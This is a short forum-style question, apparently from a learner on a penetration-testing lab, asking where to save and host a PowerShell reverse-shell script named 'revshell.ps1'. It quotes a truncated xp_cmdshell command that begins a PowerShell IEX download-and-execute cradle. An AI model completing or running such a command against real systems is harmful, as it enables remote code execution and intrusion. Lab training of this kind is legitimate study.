The part where you save a reverse shell power shell as "revshell.ps1"
a writeup I'm following says to save file "in VM", the official guide says to just save it, doesn't say where.
so when I execute
xp_cmdshell "powershell "IEX (New-Object
Where is the file coming from? I mean, how am I supposed to host the file, or where do I save it to? I'm assuming just paste the shell script inside a text file and save as .ps1 but I have no idea where to save it?